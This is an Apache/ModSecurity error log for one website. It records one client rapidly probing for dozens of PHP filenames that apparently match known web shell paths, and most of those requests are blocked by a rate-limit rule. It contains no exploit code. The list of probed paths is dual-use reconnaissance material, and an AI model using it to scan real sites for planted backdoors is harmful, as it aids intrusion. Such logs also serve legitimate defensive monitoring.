[Fri Apr 10 17:46:58.333951 2026] [:error] [pid 13101:tid 13149] [client 74.248.114.205:32757] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "adjHEt8Ldw85818pj2qLzgAAAJA"]
[Fri Apr 10 17:46:58.844739 2026] [:error] [pid 13101:tid 13141] [client 74.248.114.205:22293] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ccs.php"] [unique_id "adjHEt8Ldw85818pj2qL0QAAAIg"]
[Fri Apr 10 17:46:59.353953 2026] [:error] [pid 13102:tid 13166] [client 74.248.114.205:59593] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "adjHE_9xLvjW2guI55ZHIwAAAAY"]
[Fri Apr 10 17:46:59.878304 2026] [:error] [pid 13101:tid 13156] [client 74.248.114.205:36354] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "adjHE98Ldw85818pj2qL2QAAAJc"]
[Fri Apr 10 17:47:00.395528 2026] [:error] [pid 13101:tid 13139] [client 74.248.114.205:22290] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "adjHFN8Ldw85818pj2qL3gAAAIY"]
[Fri Apr 10 17:47:00.912111 2026] [:error] [pid 13102:tid 13170] [client 74.248.114.205:53293] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wps.php"] [unique_id "adjHFP9xLvjW2guI55ZHKQAAAAo"]
[Fri Apr 10 17:47:01.441455 2026] [:error] [pid 13100:tid 13105] [client 74.248.114.205:50273] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "adjHFVzg-ZkZ0InWIP17XAAAAQA"]
[Fri Apr 10 17:47:01.949354 2026] [:error] [pid 13100:tid 13124] [client 74.248.114.205:32731] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "adjHFVzg-ZkZ0InWIP17YAAAARM"]
[Fri Apr 10 17:47:02.472626 2026] [:error] [pid 13102:tid 13181] [client 74.248.114.205:5026] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wmore1.php"] [unique_id "adjHFv9xLvjW2guI55ZHLQAAABU"]
[Fri Apr 10 17:47:03.016905 2026] [:error] [pid 13102:tid 13163] [client 74.248.114.205:4690] File does not exist: /usr/local/apache/htdocs/suspended-page/wmore1.php
[Fri Apr 10 17:47:03.273831 2026] [:error] [pid 13102:tid 13170] [client 74.248.114.205:4690] File does not exist: /usr/local/apache/htdocs/suspended-page/ggb.php
[Fri Apr 10 17:47:03.531286 2026] [:error] [pid 13102:tid 13164] [client 74.248.114.205:4690] File does not exist: /usr/local/apache/htdocs/suspended-page/tiny2.php
[Fri Apr 10 17:47:03.788431 2026] [:error] [pid 13102:tid 13168] [client 74.248.114.205:4690] File does not exist: /usr/local/apache/htdocs/suspended-page/ava.php
[Fri Apr 10 17:47:04.058858 2026] [:error] [pid 13102:tid 13175] [client 74.248.114.205:4690] File does not exist: /usr/local/apache/htdocs/suspended-page/awh.php
[Fri Apr 10 17:47:04.317619 2026] [:error] [pid 13102:tid 13161] [client 74.248.114.205:4690] File does not exist: /usr/local/apache/htdocs/suspended-page/r2.php
[Fri Apr 10 17:47:04.578577 2026] [:error] [pid 13102:tid 13184] [client 74.248.114.205:4690] File does not exist: /usr/local/apache/htdocs/suspended-page/2.php
[Fri Apr 10 17:47:06.178227 2026] [:error] [pid 13102:tid 13184] [client 74.248.114.205:4690] File does not exist: /usr/local/apache/htdocs/suspended-page/db.php
[Fri Apr 10 17:47:06.435850 2026] [:error] [pid 13102:tid 13175] [client 74.248.114.205:4690] File does not exist: /usr/local/apache/htdocs/suspended-page/class-wp-image.php
[Fri Apr 10 17:47:06.694068 2026] [:error] [pid 13102:tid 13161] [client 74.248.114.205:4690] File does not exist: /usr/local/apache/htdocs/suspended-page/riz.php
[Fri Apr 10 17:47:06.950579 2026] [:error] [pid 13102:tid 13183] [client 74.248.114.205:4690] File does not exist: /usr/local/apache/htdocs/suspended-page/packsin1.php
[Fri Apr 10 17:47:07.204545 2026] [:error] [pid 13102:tid 13179] [client 74.248.114.205:4690] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/om.php"] [unique_id "adjHG_9xLvjW2guI55ZHRQAAABM"]
[Fri Apr 10 17:47:07.721517 2026] [:error] [pid 13100:tid 13126] [client 74.248.114.205:33065] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/om.php"] [unique_id "adjHG1zg-ZkZ0InWIP17dQAAARU"]
[Fri Apr 10 17:47:08.241272 2026] [:error] [pid 13189:tid 13216] [client 74.248.114.205:22318] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/om.php"] [unique_id "adjHHJAxiJKPums3eBBXngAAAFg"]
[Fri Apr 10 17:47:08.752580 2026] [:error] [pid 13102:tid 13181] [client 74.248.114.205:21862] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/om.php"] [unique_id "adjHHP9xLvjW2guI55ZHTQAAABU"]
[Fri Apr 10 17:47:09.265571 2026] [:error] [pid 13189:tid 13202] [client 74.248.114.205:48717] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "adjHHZAxiJKPums3eBBXoQAAAEo"]
[Fri Apr 10 17:47:09.773878 2026] [:error] [pid 13101:tid 13155] [client 74.248.114.205:36382] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "adjHHd8Ldw85818pj2qL9wAAAJY"]
[Fri Apr 10 17:47:10.292984 2026] [:error] [pid 13189:tid 13194] [client 74.248.114.205:23433] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "adjHHpAxiJKPums3eBBXowAAAEI"]
[Fri Apr 10 17:47:10.806252 2026] [:error] [pid 13189:tid 13216] [client 74.248.114.205:57723] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/006.php"] [unique_id "adjHHpAxiJKPums3eBBXpQAAAFg"]
[Fri Apr 10 17:47:11.317640 2026] [:error] [pid 13102:tid 13176] [client 74.248.114.205:57690] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "adjHH_9xLvjW2guI55ZHXAAAABA"]
[Fri Apr 10 17:47:11.826162 2026] [:error] [pid 13189:tid 13216] [client 74.248.114.205:5017] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "adjHH5AxiJKPums3eBBXrQAAAFg"]
[Fri Apr 10 17:47:12.351497 2026] [:error] [pid 13101:tid 13143] [client 74.248.114.205:57683] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "adjHIN8Ldw85818pj2qL_wAAAIo"]
[Fri Apr 10 17:47:12.869143 2026] [:error] [pid 13102:tid 13170] [client 74.248.114.205:37071] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "adjHIP9xLvjW2guI55ZHYQAAAAo"]
[Fri Apr 10 17:47:13.389846 2026] [:error] [pid 3934:tid 3945] [client 74.248.114.205:4410] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xda.php"] [unique_id "adjHIYa41m-BS8mg82dsmwAAAMY"]
[Fri Apr 10 17:47:13.898308 2026] [:error] [pid 13100:tid 13118] [client 74.248.114.205:53211] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xda.php"] [unique_id "adjHIVzg-ZkZ0InWIP17gwAAAQ0"]
[Fri Apr 10 17:47:14.430795 2026] [:error] [pid 13189:tid 13216] [client 74.248.114.205:31939] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xda.php"] [unique_id "adjHIpAxiJKPums3eBBXuQAAAFg"]
[Fri Apr 10 17:47:14.940704 2026] [:error] [pid 13100:tid 13129] [client 74.248.114.205:36376] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xda.php"] [unique_id "adjHIlzg-ZkZ0InWIP17hAAAARg"]
[Fri Apr 10 17:47:15.450850 2026] [:error] [pid 13189:tid 13211] [client 74.248.114.205:50249] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wolf.php"] [unique_id "adjHI5AxiJKPums3eBBXvAAAAFM"]
[Fri Apr 10 17:47:15.974957 2026] [:error] [pid 3934:tid 3962] [client 74.248.114.205:48370] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wolf.php"] [unique_id "adjHI4a41m-BS8mg82dssgAAANc"]
[Fri Apr 10 17:47:16.491325 2026] [:error] [pid 13189:tid 13196] [client 74.248.114.205:25784] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wolf.php"] [unique_id "adjHJJAxiJKPums3eBBXvwAAAEQ"]
[Fri Apr 10 17:47:16.999488 2026] [:error] [pid 13189:tid 13206] [client 74.248.114.205:59646] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wolf.php"] [unique_id "adjHJJAxiJKPums3eBBXwQAAAE4"]
[Fri Apr 10 17:47:17.503550 2026] [:error] [pid 3934:tid 3948] [client 74.248.114.205:59617] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "adjHJYa41m-BS8mg82dsuAAAAMk"]
[Fri Apr 10 17:47:18.011552 2026] [:error] [pid 13189:tid 13194] [client 74.248.114.205:53240] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "adjHJpAxiJKPums3eBBXwgAAAEI"]
[Fri Apr 10 17:47:18.526424 2026] [:error] [pid 13101:tid 13151] [client 74.248.114.205:41547] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "adjHJt8Ldw85818pj2qMBgAAAJI"]
[Fri Apr 10 17:47:19.041454 2026] [:error] [pid 13189:tid 13204] [client 74.248.114.205:53246] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ww.php"] [unique_id "adjHJ5AxiJKPums3eBBXxQAAAEw"]
[Fri Apr 10 17:47:19.547860 2026] [:error] [pid 13100:tid 13113] [client 74.248.114.205:57677] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "adjHJ1zg-ZkZ0InWIP17iAAAAQg"]
[Fri Apr 10 17:47:20.062128 2026] [:error] [pid 13100:tid 13123] [client 74.248.114.205:26163] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "adjHKFzg-ZkZ0InWIP17iQAAARI"]
[Fri Apr 10 17:47:20.593820 2026] [:error] [pid 13100:tid 13110] [client 74.248.114.205:53230] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "adjHKFzg-ZkZ0InWIP17jAAAAQU"]
[Fri Apr 10 17:47:21.099518 2026] [:error] [pid 13100:tid 13123] [client 74.248.114.205:26169] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/7.php"] [unique_id "adjHKVzg-ZkZ0InWIP17kAAAARI"]
[Fri Apr 10 17:47:21.610350 2026] [:error] [pid 13189:tid 13216] [client 74.248.114.205:31999] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adjHKZAxiJKPums3eBBXygAAAFg"]
[Fri Apr 10 17:47:22.123883 2026] [:error] [pid 3934:tid 3941] [client 74.248.114.205:31988] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adjHKoa41m-BS8mg82dswgAAAMI"]
[Fri Apr 10 17:47:22.633966 2026] [:error] [pid 13189:tid 13197] [client 74.248.114.205:58486] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adjHKpAxiJKPums3eBBX0AAAAEU"]
[Fri Apr 10 17:47:23.156063 2026] [:error] [pid 13101:tid 13150] [client 74.248.114.205:31999] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/pxw8hpvyfvvpojjxvnCdefault.php"] [unique_id "adjHK98Ldw85818pj2qMEAAAAJE"]
[Fri Apr 10 17:47:23.676882 2026] [:error] [pid 3934:tid 3962] [client 74.248.114.205:44165] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adjHK4a41m-BS8mg82dsygAAANc"]
[Fri Apr 10 17:47:24.189749 2026] [:error] [pid 3934:tid 3941] [client 74.248.114.205:33079] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adjHLIa41m-BS8mg82dszAAAAMI"]
[Fri Apr 10 17:47:24.712688 2026] [:error] [pid 13102:tid 13177] [client 74.248.114.205:53194] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adjHLP9xLvjW2guI55ZHggAAABE"]
[Fri Apr 10 17:47:25.238863 2026] [:error] [pid 13101:tid 13141] [client 74.248.114.205:41556] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/c6jpzOQvtPyeM9hdefault.php"] [unique_id "adjHLd8Ldw85818pj2qMEwAAAIg"]
[Fri Apr 10 17:47:25.751997 2026] [:error] [pid 13101:tid 13149] [client 74.248.114.205:4586] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adjHLd8Ldw85818pj2qMGAAAAJA"]
[Fri Apr 10 17:47:26.266139 2026] [:error] [pid 13189:tid 13198] [client 74.248.114.205:26119] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adjHLpAxiJKPums3eBBX2wAAAEY"]
[Fri Apr 10 17:47:26.783493 2026] [:error] [pid 13189:tid 13199] [client 74.248.114.205:63076] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adjHLpAxiJKPums3eBBX3QAAAEc"]
[Fri Apr 10 17:47:27.289550 2026] [:error] [pid 13100:tid 13125] [client 74.248.114.205:33045] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/mfptbopeeg7v0sezxnbtgcgsCdefault.php"] [unique_id "adjHL1zg-ZkZ0InWIP17lQAAARQ"]
[Fri Apr 10 17:47:27.803278 2026] [:error] [pid 13100:tid 13123] [client 74.248.114.205:45172] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/image.php"] [unique_id "adjHL1zg-ZkZ0InWIP17lwAAARI"]
[Fri Apr 10 17:47:28.310163 2026] [:error] [pid 13100:tid 13105] [client 74.248.114.205:58440] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/image.php"] [unique_id "adjHMFzg-ZkZ0InWIP17mQAAAQA"]
[Fri Apr 10 17:47:28.819474 2026] [:error] [pid 13100:tid 13126] [client 74.248.114.205:4560] [client 74.248.114.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/image.php"] [unique_id "adjHMFzg-ZkZ0InWIP17mgAAARU"]
